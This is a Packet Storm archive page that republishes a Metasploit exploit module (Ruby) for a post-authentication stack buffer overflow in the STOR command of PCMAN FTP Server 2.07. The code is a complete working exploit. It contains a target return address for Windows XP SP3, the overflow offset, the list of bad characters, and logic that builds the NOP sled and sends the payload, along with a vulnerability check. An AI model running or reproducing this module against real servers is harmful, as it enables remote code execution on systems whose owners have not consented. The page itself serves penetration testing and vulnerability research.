exploit the possibilities

PCMAN FTP Server Post-Authentication STOR Command Stack Buffer Overflow

PCMAN FTP Server Post-Authentication STOR Command Stack Buffer Overflow
Posted Sep 20, 2013
Authored by Rick Flores, Polunchis | Site metasploit.com

This Metasploit module exploits a buffer overflow vulnerability found in the STOR command of the PCMAN FTP version 2.07 server when the "/../" parameters are also sent to the server. Please note authentication is required in order to trigger the vulnerability. The overflowing string will also be seen on the FTP server log console.

tags | exploit, overflow
advisories | OSVDB-94624
MD5 | 5d926943a6c8b1e98a988d529e12ccb1

PCMAN FTP Server Post-Authentication STOR Command Stack Buffer Overflow

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {})
super(update_info(info,
'Name' => 'PCMAN FTP Server Post-Authentication STOR Command Stack Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow vulnerability found in the STOR command of the
PCMAN FTP v2.07 Server when the "/../" parameters are also sent to the server. Please
note authentication is required in order to trigger the vulnerability. The overflowing
string will also be seen on the FTP server log console.
},
'Author' =>
[
'Christian (Polunchis) Ramirez', # Initial Discovery
'Rick (nanotechz9l) Flores' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '94624'],
[ 'EDB', '27703']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'VERBOSE' => true
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\xff\x0a\x0d\x20\x40",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP3 English',
{
'Ret' => 0x77c35459, # push esp ret C:\WINDOWS\system32\msvcrt.dll
'Offset' => 2011
}
],
],
'DisclosureDate' => 'Jun 27 2013',
'DefaultTarget' => 0))
end

def check
c = connect_login
disconnect

if c and banner =~ /220 PCMan's FTP Server 2\.0/
# Auth is required to exploit
print_status("Able to authenticate, and banner shows the vulnerable version")
return Exploit::CheckCode::Vulnerable
elsif not c and banner =~ /220 PCMan's FTP Server 2\.0/
print_status("Unable to authenticate, but banner shows the vulnerable version")
# Auth failed, but based on version maybe the target is vulnerable
return Exploit::CheckCode::Appears
end

return Exploit::CheckCode::Safe
end


def exploit
c = connect_login

# Auth failed. The mixin should show the error, so we just bail.
return unless c

# Username is part of the overflowing string, so we need to account for that length
user_length = datastore['FTPUSER'].to_s.length

print_status("Trying victim #{target.name}...")
sploit = rand_text_alpha(target['Offset'] - user_length)
sploit << [target.ret].pack('V')
sploit << make_nops(4)
sploit << payload.encoded
sploit << rand_text_alpha(sploit.length)

send_cmd( ["STOR", "/../" + sploit], false )
disconnect
end

end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    28 Files
  • 2
    Nov 2nd
    1 Files
  • 3
    Nov 3rd
    1 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    19 Files
  • 6
    Nov 6th
    65 Files
  • 7
    Nov 7th
    22 Files
  • 8
    Nov 8th
    18 Files
  • 9
    Nov 9th
    1 Files
  • 10
    Nov 10th
    1 Files
  • 11
    Nov 11th
    11 Files
  • 12
    Nov 12th
    65 Files
  • 13
    Nov 13th
    27 Files
  • 14
    Nov 14th
    22 Files
  • 15
    Nov 15th
    18 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close